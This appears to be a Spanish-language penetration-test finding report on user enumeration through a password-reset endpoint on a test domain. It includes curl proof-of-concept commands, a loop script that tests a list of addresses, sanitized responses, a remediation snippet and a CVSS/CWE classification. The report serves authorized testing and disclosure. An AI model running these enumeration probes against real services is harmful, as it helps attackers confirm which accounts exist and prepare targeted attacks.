FT-008 · Identification Failures
Enumeración de usuarios en recuperación de cuenta
portal.acme.test
IMPACTO
Qué puede ocurrir
El formulario responde de forma distinta según exista la cuenta, lo que permite confirmar qué direcciones están registradas y preparar ataques dirigidos.
REPRODUCCIÓN
Prueba de concepto paso a paso
- 01
Solicitar la recuperación con una cuenta existente
El mensaje confirma el envío y la respuesta tarda algo más por el envío del correo.
curl -s -o /dev/null -w 'codigo:%{http_code} tiempo:%{time_total}\n' \ -X POST https://portal.acme.test/api/password/reset \ -H 'Content-Type: application/json' \ -d '{"email":"pentest-user@acme.test"}' # => codigo:200 tiempo:0.412 - 02
Repetir con una dirección inexistente
Cambian el texto y el tiempo, así que la diferencia es observable sin acceso previo.
curl -s -o /dev/null -w 'codigo:%{http_code} tiempo:%{time_total}\n' \ -X POST https://portal.acme.test/api/password/reset \ -H 'Content-Type: application/json' \ -d '{"email":"no-existe-9f21@acme.test"}' # => codigo:404 tiempo:0.086 - 03
Medir el patrón con una lista corta
Se usan diez direcciones creadas para el ejercicio, con un intento por segundo, para no afectar al servicio.
while read email; do curl -s -o /dev/null -w "$email %{http_code} %{time_total}\n" \ -X POST https://portal.acme.test/api/password/reset \ -H 'Content-Type: application/json' -d "{\"email\":\"$email\"}" sleep 1 done < direcciones-de-prueba.txt
Ejecutado dentro de la ventana autorizada, con cuentas creadas para el ejercicio y sin extraer datos reales. Las credenciales aparecen siempre redactadas.
EVIDENCIA SANITIZADA
Respuestas comparadas
# cuenta existente
HTTP/1.1 200 OK
{"message":"Te hemos enviado un enlace de recuperación"}
# cuenta inexistente
HTTP/1.1 404 Not Found
{"error":"No hay ninguna cuenta con ese correo"}REMEDIACIÓN
Respuesta uniforme
Unificar el mensaje y el tiempo de respuesta con independencia de la existencia de la cuenta, y limitar los intentos por IP y por dirección.
await maybeSendResetEmail(email); // no revela el resultado
return Response.json(
{ message: "Si la dirección existe, recibirás un enlace de recuperación" },
{ status: 200 }
);CLASIFICACIÓN
Ficha del hallazgo
- Severidad
- Baja
- CVSS v3.1
- 3.1
- CWE
- CWE-204
- OWASP
- A07:2021 · Identification and Authentication Failures
- Validación
- Publicado · manual
- Activo
- portal.acme.test
VECTOR
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
REFERENCIAS